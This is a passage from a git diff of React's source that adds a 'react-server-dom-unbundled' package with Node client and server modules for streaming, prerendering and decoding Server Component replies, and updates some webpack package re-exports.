+  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},
+): Promise<
+  string | URLSearchParams | FormData,
+> /* We don't use URLSearchParams yet but maybe */ {
+  return new Promise((resolve, reject) => {
+    const abort = processReply(
+      value,
+      '',
+      options && options.temporaryReferences
+        ? options.temporaryReferences
+        : undefined,
+      resolve,
+      reject,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort((signal: any).reason);
+      } else {
+        const listener = () => {
+          abort((signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+  });
+}
+
+export {createFromFetch, createFromReadableStream, encodeReply};
diff --git a/packages/react-server-dom-unbundled/src/client/ReactFlightDOMClientNode.js b/packages/react-server-dom-unbundled/src/client/ReactFlightDOMClientNode.js
new file mode 100644
index 000000000000..7aff35e85da5
--- /dev/null
+++ b/packages/react-server-dom-unbundled/src/client/ReactFlightDOMClientNode.js
@@ -0,0 +1,143 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
+
+import type {
+  DebugChannel,
+  FindSourceMapURLCallback,
+  Response,
+} from 'react-client/src/ReactFlightClient';
+
+import type {
+  ServerConsumerModuleMap,
+  ModuleLoading,
+  ServerManifest,
+} from 'react-client/src/ReactFlightClientConfig';
+
+type ServerConsumerManifest = {
+  moduleMap: ServerConsumerModuleMap,
+  moduleLoading: ModuleLoading,
+  serverModuleMap: null | ServerManifest,
+};
+
+import type {Readable} from 'stream';
+
+import {
+  createResponse,
+  createStreamState,
+  getRoot,
+  reportGlobalError,
+  processStringChunk,
+  processBinaryChunk,
+  close,
+} from 'react-client/src/ReactFlightClient';
+
+export * from './ReactFlightDOMClientEdge';
+
+function noServerCall() {
+  throw new Error(
+    'Server Functions cannot be called during initial render. ' +
+      'This would create a fetch waterfall. Try to use a Server Component ' +
+      'to pass data to Client Components instead.',
+  );
+}
+
+type EncodeFormActionCallback = <A>(
+  id: any,
+  args: Promise<A>,
+) => ReactCustomFormAction;
+
+export type Options = {
+  nonce?: string,
+  encodeFormAction?: EncodeFormActionCallback,
+  unstable_allowPartialStream?: boolean,
+  findSourceMapURL?: FindSourceMapURLCallback,
+  replayConsoleLogs?: boolean,
+  environmentName?: string,
+  startTime?: number,
+  endTime?: number,
+  // For the Node.js client we only support a single-direction debug channel.
+  debugChannel?: Readable,
+};
+
+function startReadingFromStream(
+  response: Response,
+  stream: Readable,
+  onEnd: () => void,
+): void {
+  const streamState = createStreamState(response, stream);
+
+  stream.on('data', chunk => {
+    if (typeof chunk === 'string') {
+      processStringChunk(response, streamState, chunk);
+    } else {
+      processBinaryChunk(response, streamState, chunk);
+    }
+  });
+
+  stream.on('error', error => {
+    reportGlobalError(response, error);
+  });
+
+  stream.on('end', onEnd);
+}
+
+function createFromNodeStream<T>(
+  stream: Readable,
+  serverConsumerManifest: ServerConsumerManifest,
+  options?: Options,
+): Thenable<T> {
+  const debugChannel: void | DebugChannel =
+    __DEV__ && options && options.debugChannel !== undefined
+      ? {hasReadable: true, callback: null}
+      : undefined;
+
+  const response: Response = createResponse(
+    serverConsumerManifest.moduleMap,
+    serverConsumerManifest.serverModuleMap,
+    serverConsumerManifest.moduleLoading,
+    noServerCall,
+    options ? options.encodeFormAction : undefined,
+    options && typeof options.nonce === 'string' ? options.nonce : undefined,
+    undefined, // TODO: If encodeReply is supported, this should support temporaryReferences
+    options && options.unstable_allowPartialStream
+      ? options.unstable_allowPartialStream
+      : false,
+    __DEV__ && options && options.findSourceMapURL
+      ? options.findSourceMapURL
+      : undefined,
+    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false
+    __DEV__ && options && options.environmentName
+      ? options.environmentName
+      : undefined,
+    __DEV__ && options && options.startTime != null
+      ? options.startTime
+      : undefined,
+    __DEV__ && options && options.endTime != null ? options.endTime : undefined,
+    debugChannel,
+  );
+
+  if (__DEV__ && options && options.debugChannel) {
+    let streamEndedCount = 0;
+    const handleEnd = () => {
+      if (++streamEndedCount === 2) {
+        close(response);
+      }
+    };
+    startReadingFromStream(response, options.debugChannel, handleEnd);
+    startReadingFromStream(response, stream, handleEnd);
+  } else {
+    startReadingFromStream(response, stream, close.bind(null, response));
+  }
+
+  return getRoot(response);
+}
+
+export {createFromNodeStream};
diff --git a/packages/react-server-dom-unbundled/src/client/react-flight-dom-client.node.js b/packages/react-server-dom-unbundled/src/client/react-flight-dom-client.node.js
new file mode 100644
index 000000000000..8eb9daa35b6f
--- /dev/null
+++ b/packages/react-server-dom-unbundled/src/client/react-flight-dom-client.node.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './ReactFlightDOMClientNode';
diff --git a/packages/react-server-dom-unbundled/src/server/ReactFlightDOMServerNode.js b/packages/react-server-dom-unbundled/src/server/ReactFlightDOMServerNode.js
new file mode 100644
index 000000000000..f118d764447f
--- /dev/null
+++ b/packages/react-server-dom-unbundled/src/server/ReactFlightDOMServerNode.js
@@ -0,0 +1,715 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Request,
+  ReactClientValue,
+} from 'react-server/src/ReactFlightServer';
+import type {Destination} from 'react-server/src/ReactServerStreamConfigNode';
+import type {ClientManifest} from './ReactFlightServerConfigUnbundledBundler';
+import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
+import type {Busboy} from 'busboy';
+import type {Writable} from 'stream';
+import type {Thenable} from 'shared/ReactTypes';
+
+import type {Duplex} from 'stream';
+
+import {Readable} from 'stream';
+
+import {ASYNC_ITERATOR} from 'shared/ReactSymbols';
+
+import {
+  createRequest,
+  createPrerenderRequest,
+  startWork,
+  startFlowing,
+  startFlowingDebug,
+  stopFlowing,
+  abort,
+  resolveDebugMessage,
+  closeDebugChannel,
+} from 'react-server/src/ReactFlightServer';
+
+import {
+  createResponse,
+  reportGlobalError,
+  close,
+  resolveField,
+  resolveFile,
+  resolveFileInfo,
+  resolveFileChunk,
+  resolveFileComplete,
+  getRoot,
+} from 'react-server/src/ReactFlightReplyServer';
+
+import {
+  decodeAction,
+  decodeFormState,
+} from 'react-server/src/ReactFlightActionServer';
+
+export {
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+} from '../ReactFlightUnbundledReferences';
+
+import {
+  createStringDecoder,
+  readPartialStringChunk,
+  readFinalStringChunk,
+} from 'react-client/src/ReactFlightClientStreamConfigNode';
+
+import {textEncoder} from 'react-server/src/ReactServerStreamConfigNode';
+
+import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+function createDrainHandler(destination: Destination, request: Request) {
+  return () => startFlowing(request, destination);
+}
+
+function createCancelHandler(request: Request, reason: string) {
+  return () => {
+    stopFlowing(request);
+    abort(request, new Error(reason));
+  };
+}
+
+function startReadingFromDebugChannelReadable(
+  request: Request,
+  stream: Readable | WebSocket,
+): void {
+  const stringDecoder = createStringDecoder();
+  let lastWasPartial = false;
+  let stringBuffer = '';
+  function onData(chunk: string | Uint8Array) {
+    if (typeof chunk === 'string') {
+      if (lastWasPartial) {
+        stringBuffer += readFinalStringChunk(stringDecoder, new Uint8Array(0));
+        lastWasPartial = false;
+      }
+      stringBuffer += chunk;
+    } else {
+      const buffer: Uint8Array = (chunk: any);
+      stringBuffer += readPartialStringChunk(stringDecoder, buffer);
+      lastWasPartial = true;
+    }
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+  }
+  function onError(error: mixed) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: error,
+      }),
+    );
+  }
+  function onClose() {
+    closeDebugChannel(request);
+  }
+  if (
+    // $FlowFixMe[method-unbinding]
+    typeof stream.addEventListener === 'function' &&
+    // $FlowFixMe[method-unbinding]
+    typeof stream.binaryType === 'string'
+  ) {
+    const ws: WebSocket = (stream: any);
+    ws.binaryType = 'arraybuffer';
+    ws.addEventListener('message', event => {
+      // $FlowFixMe
+      onData(event.data);
+    });
+    ws.addEventListener('error', event => {
+      // $FlowFixMe
+      onError(event.error);
+    });
+    ws.addEventListener('close', onClose);
+  } else {
+    const readable: Readable = (stream: any);
+    readable.on('data', onData);
+    readable.on('error', onError);
+    readable.on('end', onClose);
+  }
+}
+
+type Options = {
+  debugChannel?: Readable | Writable | Duplex | WebSocket,
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  onError?: (error: mixed) => void,
+  identifierPrefix?: string,
+  temporaryReferences?: TemporaryReferenceSet,
+  startTime?: number,
+};
+
+type PipeableStream = {
+  abort(reason: mixed): void,
+  pipe<T: Writable>(destination: T): T,
+};
+
+function renderToPipeableStream(
+  model: ReactClientValue,
+  webpackMap: ClientManifest,
+  options?: Options,
+): PipeableStream {
+  const debugChannel = __DEV__ && options ? options.debugChannel : undefined;
+  const debugChannelReadable: void | Readable | WebSocket =
+    __DEV__ &&
+    debugChannel !== undefined &&
+    // $FlowFixMe[method-unbinding]
+    (typeof debugChannel.read === 'function' ||
+      typeof debugChannel.readyState === 'number')
+      ? (debugChannel: any)
+      : undefined;
+  const debugChannelWritable: void | Writable =
+    __DEV__ && debugChannel !== undefined
+      ? // $FlowFixMe[method-unbinding]
+        typeof debugChannel.write === 'function'
+        ? (debugChannel: any)
+        : // $FlowFixMe[method-unbinding]
+          typeof debugChannel.send === 'function'
+          ? createFakeWritableFromWebSocket((debugChannel: any))
+          : undefined
+      : undefined;
+  const request = createRequest(
+    model,
+    webpackMap,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  let hasStartedFlowing = false;
+  startWork(request);
+  if (debugChannelWritable !== undefined) {
+    startFlowingDebug(request, debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadable(request, debugChannelReadable);
+  }
+  return {
+    pipe<T: Writable>(destination: T): T {
+      if (hasStartedFlowing) {
+        throw new Error(
+          'React currently only supports piping to one writable stream.',
+        );
+      }
+      hasStartedFlowing = true;
+      startFlowing(request, destination);
+      destination.on('drain', createDrainHandler(destination, request));
+      destination.on(
+        'error',
+        createCancelHandler(
+          request,
+          'The destination stream errored while writing data.',
+        ),
+      );
+      // We don't close until the debug channel closes.
+      if (!__DEV__ || debugChannelReadable === undefined) {
+        destination.on(
+          'close',
+          createCancelHandler(request, 'The destination stream closed early.'),
+        );
+      }
+      return destination;
+    },
+    abort(reason: mixed) {
+      abort(request, reason);
+    },
+  };
+}
+
+function createFakeWritableFromWebSocket(webSocket: WebSocket): Writable {
+  return ({
+    write(chunk: string | Uint8Array) {
+      webSocket.send((chunk: any));
+      return true;
+    },
+    end() {
+      webSocket.close();
+    },
+    destroy(reason) {
+      if (typeof reason === 'object' && reason !== null) {
+        reason = reason.message;
+      }
+      if (typeof reason === 'string') {
+        webSocket.close(1011, reason);
+      } else {
+        webSocket.close(1011);
+      }
+    },
+  }: any);
+}
+
+function createFakeWritableFromReadableStreamController(
+  controller: ReadableStreamController,
+): Writable {
+  // The current host config expects a Writable so we create
+  // a fake writable for now to push into the Readable.
+  return ({
+    write(chunk: string | Uint8Array) {
+      if (typeof chunk === 'string') {
+        chunk = textEncoder.encode(chunk);
+      }
+      controller.enqueue(chunk);
+      // in web streams there is no backpressure so we can always write more
+      return true;
+    },
+    end() {
+      controller.close();
+    },
+    destroy(error) {
+      // $FlowFixMe[method-unbinding]
+      if (typeof controller.error === 'function') {
+        // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.
+        controller.error(error);
+      } else {
+        controller.close();
+      }
+    },
+  }: any);
+}
+
+function startReadingFromDebugChannelReadableStream(
+  request: Request,
+  stream: ReadableStream,
+): void {
+  const reader = stream.getReader();
+  const stringDecoder = createStringDecoder();
+  let stringBuffer = '';
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    const buffer: Uint8Array = (value: any);
+    stringBuffer += done
+      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))
+      : readPartialStringChunk(stringDecoder, buffer);
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+    if (done) {
+      closeDebugChannel(request);
+      return;
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: e,
+      }),
+    );
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function renderToReadableStream(
+  model: ReactClientValue,
+  webpackMap: ClientManifest,
+  options?: Omit<Options, 'debugChannel'> & {
+    debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},
+    signal?: AbortSignal,
+  },
+): ReadableStream {
+  const debugChannelReadable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.readable
+      : undefined;
+  const debugChannelWritable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.writable
+      : undefined;
+  const request = createRequest(
+    model,
+    webpackMap,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  if (options && options.signal) {
+    const signal = options.signal;
+    if (signal.aborted) {
+      abort(request, (signal: any).reason);
+    } else {
+      const listener = () => {
+        abort(request, (signal: any).reason);
+        signal.removeEventListener('abort', listener);
+      };
+      signal.addEventListener('abort', listener);
+    }
+  }
+  if (debugChannelWritable !== undefined) {
+    let debugWritable: Writable;
+    const debugStream = new ReadableStream(
+      {
+        type: 'bytes',
+        start: (controller): ?Promise<void> => {
+          debugWritable =
+            createFakeWritableFromReadableStreamController(controller);
+        },
+        pull: (controller): ?Promise<void> => {
+          startFlowingDebug(request, debugWritable);
+        },
+      },
+      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+      {highWaterMark: 0},
+    );
+    debugStream.pipeTo(debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);
+  }
+  let writable: Writable;
+  const stream = new ReadableStream(
+    {
+      type: 'bytes',
+      start: (controller): ?Promise<void> => {
+        writable = createFakeWritableFromReadableStreamController(controller);
+        startWork(request);
+      },
+      pull: (controller): ?Promise<void> => {
+        startFlowing(request, writable);
+      },
+      cancel: (reason): ?Promise<void> => {
+        stopFlowing(request);
+        abort(request, reason);
+      },
+    },
+    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+    {highWaterMark: 0},
+  );
+  return stream;
+}
+
+function createFakeWritableFromNodeReadable(readable: any): Writable {
+  // The current host config expects a Writable so we create
+  // a fake writable for now to push into the Readable.
+  return ({
+    write(chunk: string | Uint8Array) {
+      return readable.push(chunk);
+    },
+    end() {
+      readable.push(null);
+    },
+    destroy(error) {
+      readable.destroy(error);
+    },
+  }: any);
+}
+
+type PrerenderOptions = {
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  onError?: (error: mixed) => void,
+  identifierPrefix?: string,
+  temporaryReferences?: TemporaryReferenceSet,
+  signal?: AbortSignal,
+  startTime?: number,
+};
+
+type StaticResult = {
+  prelude: Readable,
+};
+
+function prerenderToNodeStream(
+  model: ReactClientValue,
+  webpackMap: ClientManifest,
+  options?: PrerenderOptions,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      const readable: Readable = new Readable({
+        read() {
+          startFlowing(request, writable);
+        },
+      });
+      const writable = createFakeWritableFromNodeReadable(readable);
+      resolve({prelude: readable});
+    }
+
+    const request = createPrerenderRequest(
+      model,
+      webpackMap,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+function prerender(
+  model: ReactClientValue,
+  webpackMap: ClientManifest,
+  options?: Options & {
+    signal?: AbortSignal,
+  },
+): Promise<{
+  prelude: ReadableStream,
+}> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      let writable: Writable;
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          start: (controller): ?Promise<void> => {
+            writable =
+              createFakeWritableFromReadableStreamController(controller);
+          },
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, writable);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+      resolve({prelude: stream});
+    }
+    const request = createPrerenderRequest(
+      model,
+      webpackMap,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+function decodeReplyFromBusboy<T>(
+  busboyStream: Busboy,
+  webpackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  const response = createResponse(
+    webpackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    undefined,
+    options ? options.arraySizeLimit : undefined,
+  );
+  let pendingFiles = 0;
+  const queuedFields: Array<string> = [];
+  busboyStream.on('field', (name, value) => {
+    if (pendingFiles > 0) {
+      // Because the 'end' event fires two microtasks after the next 'field'
+      // we would resolve files and fields out of order. To handle this properly
+      // we queue any fields we receive until the previous file is done.
+      queuedFields.push(name, value);
+    } else {
+      try {
+        resolveField(response, name, value);
+      } catch (error) {
+        busboyStream.destroy(error);
+      }
+    }
+  });
+  busboyStream.on('file', (name, value, {filename, encoding, mimeType}) => {
+    if (encoding.toLowerCase() === 'base64') {
+      busboyStream.destroy(
+        new Error(
+          "React doesn't accept base64 encoded file uploads because we don't expect " +
+            "form data passed from a browser to ever encode data that way. If that's " +
+            'the wrong assumption, we can easily fix it.',
+        ),
+      );
+      return;
+    }
+    pendingFiles++;
+    const file = resolveFileInfo(response, name, filename, mimeType);
+    value.on('data', chunk => {
+      resolveFileChunk(response, file, chunk);
+    });
+    value.on('end', () => {
+      try {
+        resolveFileComplete(response, name, file);
+        pendingFiles--;
+        if (pendingFiles === 0) {
+          // Release any queued fields
+          for (let i = 0; i < queuedFields.length; i += 2) {
+            resolveField(response, queuedFields[i], queuedFields[i + 1]);
+          }
+          queuedFields.length = 0;
+        }
+      } catch (error) {
+        busboyStream.destroy(error);
+      }
+    });
+  });
+  busboyStream.on('finish', () => {
+    close(response);
+  });
+  busboyStream.on('error', err => {
+    reportGlobalError(
+      response,
+      // $FlowFixMe[incompatible-call] types Error and mixed are incompatible
+      err,
+    );
+  });
+  return getRoot(response);
+}
+
+function decodeReply<T>(
+  body: string | FormData,
+  webpackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  if (typeof body === 'string') {
+    const form = new FormData();
+    form.append('0', body);
+    body = form;
+  }
+  const response = createResponse(
+    webpackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    body,
+    options ? options.arraySizeLimit : undefined,
+  );
+  const root = getRoot<T>(response);
+  close(response);
+  return root;
+}
+
+function decodeReplyFromAsyncIterable<T>(
+  iterable: AsyncIterable<[string, string | File]>,
+  webpackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  const iterator: AsyncIterator<[string, string | File]> =
+    iterable[ASYNC_ITERATOR]();
+
+  const response = createResponse(
+    webpackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    undefined,
+    options ? options.arraySizeLimit : undefined,
+  );
+
+  function progress(
+    entry:
+      | {done: false, +value: [string, string | File], ...}
+      | {done: true, +value: void, ...},
+  ) {
+    if (entry.done) {
+      close(response);
+    } else {
+      const [name, value] = entry.value;
+      if (typeof value === 'string') {
+        resolveField(response, name, value);
+      } else {
+        resolveFile(response, name, value);
+      }
+      iterator.next().then(progress, error);
+    }
+  }
+  function error(reason: Error) {
+    reportGlobalError(response, reason);
+    if (typeof (iterator: any).throw === 'function') {
+      // The iterator protocol doesn't necessarily include this but a generator do.
+      // $FlowFixMe should be able to pass mixed
+      iterator.throw(reason).then(error, error);
+    }
+  }
+
+  iterator.next().then(progress, error);
+
+  return getRoot(response);
+}
+
+export {
+  renderToReadableStream,
+  renderToPipeableStream,
+  prerender,
+  prerenderToNodeStream,
+  decodeReply,
+  decodeReplyFromBusboy,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+};
diff --git a/packages/react-server-dom-unbundled/src/server/ReactFlightServerConfigUnbundledBundler.js b/packages/react-server-dom-unbundled/src/server/ReactFlightServerConfigUnbundledBundler.js
new file mode 100644
index 000000000000..d2c8b038c06e
--- /dev/null
+++ b/packages/react-server-dom-unbundled/src/server/ReactFlightServerConfigUnbundledBundler.js
@@ -0,0 +1,108 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactClientValue} from 'react-server/src/ReactFlightServer';
+import type {
+  ImportMetadata,
+  ImportManifestEntry,
+} from '../shared/ReactFlightImportMetadata';
+
+import type {
+  ClientReference,
+  ServerReference,
+} from '../ReactFlightUnbundledReferences';
+
+export type {ClientReference, ServerReference};
+
+export type ClientManifest = {
+  [id: string]: ClientReferenceManifestEntry,
+};
+
+export type ServerReferenceId = string;
+
+export type ClientReferenceMetadata = ImportMetadata;
+export opaque type ClientReferenceManifestEntry = ImportManifestEntry;
+
+export type ClientReferenceKey = string;
+
+export {
+  isClientReference,
+  isServerReference,
+} from '../ReactFlightUnbundledReferences';
+
+export function getClientReferenceKey(
+  reference: ClientReference<any>,
+): ClientReferenceKey {
+  return reference.$$async ? reference.$$id + '#async' : reference.$$id;
+}
+
+export function resolveClientReferenceMetadata<T>(
+  config: ClientManifest,
+  clientReference: ClientReference<T>,
+): ClientReferenceMetadata {
+  const modulePath = clientReference.$$id;
+  let name = '';
+  let resolvedModuleData = config[modulePath];
+  if (resolvedModuleData) {
+    // The potentially aliased name.
+    name = resolvedModuleData.name;
+  } else {
+    // We didn't find this specific export name but we might have the * export
+    // which contains this name as well.
+    // TODO: It's unfortunate that we now have to parse this string. We should
+    // probably go back to encoding path and name separately on the client reference.
+    const idx = modulePath.lastIndexOf('#');
+    if (idx !== -1) {
+      name = modulePath.slice(idx + 1);
+      resolvedModuleData = config[modulePath.slice(0, idx)];
+    }
+    if (!resolvedModuleData) {
+      throw new Error(
+        'Could not find the module "' +
+          modulePath +
+          '" in the React Client Manifest. ' +
+          'This is probably a bug in the React Server Components bundler.',
+      );
+    }
+  }
+  if (resolvedModuleData.async === true && clientReference.$$async === true) {
+    throw new Error(
+      'The module "' +
+        modulePath +
+        '" is marked as an async ESM module but was loaded as a CJS proxy. ' +
+        'This is probably a bug in the React Server Components bundler.',
+    );
+  }
+  if (resolvedModuleData.async === true || clientReference.$$async === true) {
+    return [resolvedModuleData.id, resolvedModuleData.chunks, name, 1];
+  } else {
+    return [resolvedModuleData.id, resolvedModuleData.chunks, name];
+  }
+}
+
+export function getServerReferenceId<T>(
+  config: ClientManifest,
+  serverReference: ServerReference<T>,
+): ServerReferenceId {
+  return serverReference.$$id;
+}
+
+export function getServerReferenceBoundArguments<T>(
+  config: ClientManifest,
+  serverReference: ServerReference<T>,
+): null | Array<ReactClientValue> {
+  return serverReference.$$bound;
+}
+
+export function getServerReferenceLocation<T>(
+  config: ClientManifest,
+  serverReference: ServerReference<T>,
+): void | Error {
+  return serverReference.$$location;
+}
diff --git a/packages/react-server-dom-unbundled/src/server/react-flight-dom-server.node.js b/packages/react-server-dom-unbundled/src/server/react-flight-dom-server.node.js
new file mode 100644
index 000000000000..3c2b9e512c7c
--- /dev/null
+++ b/packages/react-server-dom-unbundled/src/server/react-flight-dom-server.node.js
@@ -0,0 +1,24 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToReadableStream,
+  renderToPipeableStream,
+  prerender,
+  prerenderToNodeStream,
+  decodeReply,
+  decodeReplyFromBusboy,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+  createTemporaryReferenceSet,
+} from './ReactFlightDOMServerNode';
diff --git a/packages/react-server-dom-unbundled/src/shared/ReactFlightImportMetadata.js b/packages/react-server-dom-unbundled/src/shared/ReactFlightImportMetadata.js
new file mode 100644
index 000000000000..29b012f60520
--- /dev/null
+++ b/packages/react-server-dom-unbundled/src/shared/ReactFlightImportMetadata.js
@@ -0,0 +1,44 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export type ImportManifestEntry = {
+  id: string,
+  // chunks is a double indexed array of chunkId / chunkFilename pairs
+  chunks: Array<string>,
+  name: string,
+  async?: boolean,
+};
+
+// This is the parsed shape of the wire format which is why it is
+// condensed to only the essentialy information
+export type ImportMetadata =
+  | [
+      /* id */ string,
+      /* chunks id/filename pairs, double indexed */ Array<string>,
+      /* name */ string,
+      /* async */ 1,
+    ]
+  | [
+      /* id */ string,
+      /* chunks id/filename pairs, double indexed */ Array<string>,
+      /* name */ string,
+    ];
+
+export const ID = 0;
+export const CHUNKS = 1;
+export const NAME = 2;
+// export const ASYNC = 3;
+
+// This logic is correct because currently only include the 4th tuple member
+// when the module is async. If that changes we will need to actually assert
+// the value is true. We don't index into the 4th slot because flow does not
+// like the potential out of bounds access
+export function isAsyncImport(metadata: ImportMetadata): boolean {
+  return metadata.length === 4;
+}
diff --git a/packages/react-server-dom-unbundled/static.js b/packages/react-server-dom-unbundled/static.js
new file mode 100644
index 000000000000..83d8b8a017ff
--- /dev/null
+++ b/packages/react-server-dom-unbundled/static.js
@@ -0,0 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+throw new Error(
+  'The React Server cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.',
+);
diff --git a/packages/react-server-dom-unbundled/static.node.js b/packages/react-server-dom-unbundled/static.node.js
new file mode 100644
index 000000000000..78e70a1cf4c2
--- /dev/null
+++ b/packages/react-server-dom-unbundled/static.node.js
@@ -0,0 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  prerender,
+  prerenderToNodeStream,
+} from './src/server/react-flight-dom-server.node';
diff --git a/packages/react-server-dom-webpack/client.browser.js b/packages/react-server-dom-webpack/client.browser.js
index 7d26c2771e50..1be0bc04a7ec 100644
--- a/packages/react-server-dom-webpack/client.browser.js
+++ b/packages/react-server-dom-webpack/client.browser.js
@@ -7,4 +7,4 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMClientBrowser';
+export * from './src/client/react-flight-dom-client.browser';
diff --git a/packages/react-server-dom-webpack/client.edge.js b/packages/react-server-dom-webpack/client.edge.js
index fadceeaf8443..ab6a110c112e 100644
--- a/packages/react-server-dom-webpack/client.edge.js
